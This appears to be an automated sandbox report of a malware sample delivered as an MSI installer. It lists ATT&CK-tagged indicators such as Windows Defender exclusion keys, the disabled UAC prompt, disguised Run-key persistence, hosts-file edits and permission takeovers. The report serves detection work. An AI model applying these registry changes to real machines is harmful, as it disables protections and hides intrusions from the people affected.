6ad18bf0fcfb4d2f1acc408b16a57b35020820a1599f69fc143c0f6689778216

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	ZSTdYN.exe

Windows security bypass 2 TTPs 10 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\eNSVnq = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3352	powershell.exe
1084	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	ZSTdYN.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
5592	takeown.exe
3024	icacls.exe
4428	icacls.exe
4456	icacls.exe
1596	icacls.exe
1432	icacls.exe
1724	icacls.exe
2692	takeown.exe
2948	icacls.exe
2500	icacls.exe
5636	icacls.exe
5072	icacls.exe
3760	icacls.exe
476	icacls.exe
1216	icacls.exe
5932	icacls.exe
4544	icacls.exe
4884	icacls.exe
2156	icacls.exe
3216	icacls.exe
4128	icacls.exe
724	icacls.exe
1884	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 4 IoCs

pid	Process
5788	MNi2Nc.exe
4848	ZSTdYN.exe
3016	ZSTdYN.exe
2440	CI6eZ.exe

Loads dropped DLL 5 IoCs

pid	Process
5076	MsiExec.exe
5788	MNi2Nc.exe
4848	ZSTdYN.exe
3016	ZSTdYN.exe
2440	CI6eZ.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1432	icacls.exe
724	icacls.exe
5592	takeown.exe
3024	icacls.exe
3760	icacls.exe
4884	icacls.exe
2500	icacls.exe
4128	icacls.exe
1884	icacls.exe
1724	icacls.exe
5072	icacls.exe
2692	takeown.exe
2948	icacls.exe
1216	icacls.exe
4456	icacls.exe
5932	icacls.exe
4428	icacls.exe
3216	icacls.exe
4544	icacls.exe
5636	icacls.exe
476	icacls.exe
2156	icacls.exe
1596	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\eNSVnq\\MNi2Nc.exe\""	MNi2Nc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\ZSTdYN\\ZSTdYN.exe\""	ZSTdYN.exe

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
12	5076	MsiExec.exe
13	5076	MsiExec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

System Information Discovery

discovery defense_evasion

description	ioc	Process
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3948	cmd.exe
3480	cmd.exe
4408	cmd.exe
6016	cmd.exe
2316	cmd.exe
4860	cmd.exe
4944	cmd.exe
4992	cmd.exe
4472	cmd.exe
3892	cmd.exe

Drops file in System32 directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049	MsiExec.exe
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	MNi2Nc.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049	MsiExec.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\ZSTdYN	MNi2Nc.exe
File opened for modification	C:\Program Files (x86)\ZSTdYN\image.png	MNi2Nc.exe
File created	C:\Program Files (x86)\ecb2659\XPSPLOG.dll	ZSTdYN.exe
File opened for modification	C:\Program Files (x86)\ecb2659	ZSTdYN.exe
File created	C:\Program Files (x86)\ecb2659\image.png	ZSTdYN.exe
File opened for modification	C:\Program Files (x86)\ecb2659\image.png	ZSTdYN.exe
File opened for modification	C:\Program Files (x86)\ecb2659\XPSPLOG.dll	ZSTdYN.exe
File created	C:\Program Files (x86)\ecb2659\CI6eZ.exe	ZSTdYN.exe
File created	C:\Program Files (x86)\ZSTdYN\ZSTdYN.exe	MNi2Nc.exe
File created	C:\Program Files (x86)\ZSTdYN\XPSPLOG.dll	MNi2Nc.exe
File created	C:\Program Files (x86)\ZSTdYN\image.png	MNi2Nc.exe
File opened for modification	C:\Program Files (x86)\ZSTdYN\ZSTdYN.exe	MNi2Nc.exe
File opened for modification	C:\Program Files (x86)\ZSTdYN\XPSPLOG.dll	MNi2Nc.exe
File opened for modification	C:\Program Files (x86)\ZSTdYN\thumbs.db	MNi2Nc.exe
File created	C:\Program Files (x86)\ecb2659\thumbs.db	ZSTdYN.exe
File opened for modification	C:\Program Files (x86)\ecb2659\thumbs.db	ZSTdYN.exe
File created	C:\Program Files (x86)\ZSTdYN\thumbs.db	MNi2Nc.exe
File opened for modification	C:\Program Files (x86)\ecb2659\CI6eZ.exe	ZSTdYN.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFAE1291248C852EC3.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{E22BF092-D100-59BA-9D5C-1546E9FB2186}	msiexec.exe
File created	C:\Windows\SystemTemp\~DFAE337411617D5E44.TMP	msiexec.exe
File created	C:\Windows\Installer\e593ce2.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI41B2.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4250.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF75D81EA4818729EB.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF7807A87464767F98.TMP	msiexec.exe
File created	C:\Windows\Installer\e593ce0.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e593ce0.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

Peripheral Device Discovery

persistence privilege_escalation

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	ZSTdYN.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2068	sc.exe
4172	sc.exe
5692	sc.exe
3388	sc.exe
1772	sc.exe
5684	sc.exe
4188	sc.exe
1552	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
5068	msiexec.exe

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Control Panel\Desktop\ScreenSaveActive = "0"	ZSTdYN.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	ZSTdYN.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Control Panel\Desktop\SCRNSAVE.EXE	ZSTdYN.exe

Executes a command shell one-liner 1 TTPs 28 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5680	cmd.exe
1228	cmd.exe
1112	cmd.exe
5060	cmd.exe
4216	cmd.exe
480	cmd.exe
2436	cmd.exe
6084	cmd.exe
2848	cmd.exe
3164	cmd.exe
3300	cmd.exe
4996	cmd.exe
4184	cmd.exe
916	cmd.exe
4792	cmd.exe
4648	cmd.exe
3852	cmd.exe
3416	cmd.exe
2340	cmd.exe
3944	cmd.exe
3224	cmd.exe
3652	cmd.exe
964	cmd.exe
2516	cmd.exe
6064	cmd.exe
2840	cmd.exe
548	cmd.exe
2008	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ZSTdYN.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ZSTdYN.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MNi2Nc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MNi2Nc.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ZSTdYN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ZSTdYN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CI6eZ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

System Information Discovery

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000072eafa9cea60e45e0000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c012000000000000000000000000270101000088380172eafa9c0000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e8410172eafa9c000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e372eafa9c00000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e672eafa9c00000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ZSTdYN.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	ZSTdYN.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Control Panel\Desktop\ScreenSaveActive = "0"	ZSTdYN.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	ZSTdYN.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	ZSTdYN.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Control Panel\Desktop\SCRNSAVE.EXE	ZSTdYN.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	msiexec.exe

Modifies registry class 22 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\290FB22E001DAB95D9C551649EBF1268\SourceList\PackageName = "setapp.m1.0.09.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\290FB22E001DAB95D9C551649EBF1268\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\290FB22E001DAB95D9C551649EBF1268\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\290FB22E001DAB95D9C551649EBF1268\UuueatYAD	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\290FB22E001DAB95D9C551649EBF1268	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\290FB22E001DAB95D9C551649EBF1268\PackageCode = "2D968A2128F29C143B385963E84A4F3A"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\290FB22E001DAB95D9C551649EBF1268\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\290FB22E001DAB95D9C551649EBF1268\Version = "84017285"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\290FB22E001DAB95D9C551649EBF1268\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\290FB22E001DAB95D9C551649EBF1268\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\290FB22E001DAB95D9C551649EBF1268\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\290FB22E001DAB95D9C551649EBF1268	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\290FB22E001DAB95D9C551649EBF1268\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\290FB22E001DAB95D9C551649EBF1268\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\524A3EEE6419B8F78B6D7381898FDBC7\290FB22E001DAB95D9C551649EBF1268	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\290FB22E001DAB95D9C551649EBF1268\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\290FB22E001DAB95D9C551649EBF1268\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\290FB22E001DAB95D9C551649EBF1268\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\290FB22E001DAB95D9C551649EBF1268\ProductName = "WINBOM Licensing Dll"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\290FB22E001DAB95D9C551649EBF1268\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\524A3EEE6419B8F78B6D7381898FDBC7	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\290FB22E001DAB95D9C551649EBF1268\SourceList	msiexec.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4584	schtasks.exe
264	schtasks.exe
5548	schtasks.exe
2292	schtasks.exe
6136	schtasks.exe
2092	schtasks.exe
2984	schtasks.exe
4816	schtasks.exe
1936	schtasks.exe
2296	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5688	msiexec.exe
5688	msiexec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
5076	MsiExec.exe
